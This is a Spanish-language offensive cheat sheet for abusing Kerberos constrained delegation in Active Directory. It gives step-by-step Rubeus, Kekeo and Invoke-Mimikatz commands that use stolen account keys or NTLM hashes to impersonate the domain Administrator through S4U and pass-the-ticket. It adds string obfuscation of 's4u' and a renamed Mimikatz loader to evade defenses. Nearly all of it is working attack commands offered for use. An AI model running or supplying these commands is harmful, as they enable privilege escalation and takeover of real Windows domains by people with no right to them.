Delegación restringida |

Éxito

Lista de servicios y sus SPN en HackTricks — Silver ticket.

Advertencia

El ticket resultante permite acceder al servicio definido en /msdsspn.

User account (Rubeus)

Codificar e insertar s4u:

set "z=u"
set "y=4"
set "x=s"
set "Pwn=%x%%y%%z%"

Crear un TGS como Administrator (DA) usando el usuario con la delegación:

Loader.exe -path Rubeus.exe -args %Pwn% /user:<DELEGATION_USERNAME> /aes256:<AES-256_KEY_DELEGATION_ACCOUNT> /impersonateuser:Administrator /msdsspn:"<SERVICE_NAME>" /ptt

Validar el ticket:

klist

User account (Kekeo)

Solicitar un TGT para la cuenta con la delegación:

tgt::ask /user:<DELEGATION_USERNAME> /domain:<DOMAIN> /rc4:<DELEGATION_HASH_NTLM>

Solicitar un TGS al servicio accesible mediante la delegación:

tgs::s4u /tgt:<TICKET_FILE_NAME_FROM_ABOVE_COMMAND> /user:Administrator@<DOMAIN> /service:<SERVICE_NAME>

Importar Invoke-Mimikatz:

. .\Invoke-Mimi.ps1

Realizar PTT con Invoke-Mimikatz:

Invoke-Mimi -Command '"kerberos::ptt <TGS_TICKET_FILE_NAME_FROM_ABOVE_COMMAND>"'

Computer account (Rubeus)

Desde una shell de administrador local, codificar e insertar s4u:

set "z=u"
set "y=4"
set "x=s"
set "Pwn=%x%%y%%z%"

Ejecutar Rubeus para la delegación e importar el ticket (con /altservice:ldap):

Loader.exe -path Rubeus.exe -args %Pwn% /user:<SERVER_ACCOUNT> /aes256:<AES-256_KEY_SERVER_ACCOUNT> /impersonateuser:Administrator /msdsspn:<SERVICE_NAME> /altservice:ldap /ptt

Computer account (Kekeo)

Solicitar un TGT para la cuenta con la delegación:

tgt::ask /user:<SERVER_ACCOUNT> /domain:<DOMAIN> /rc4:<DELEGATION_HASH_NTLM>

Solicitar un TGS al servicio accesible mediante la delegación:

tgs::s4u /tgt:<TICKET_FILE_NAME_FROM_ABOVE_COMMAND> /user:Administrator@<DOMAIN> /service:<SERVICE_NAME>

Importar Invoke-Mimikatz:

. .\Invoke-Mimi.ps1

Realizar PTT con Invoke-Mimikatz:

Invoke-Mimi -Command '"kerberos::ptt <TGS_TICKET_FILE_NAME_FROM_ABOVE_COMMAND>"'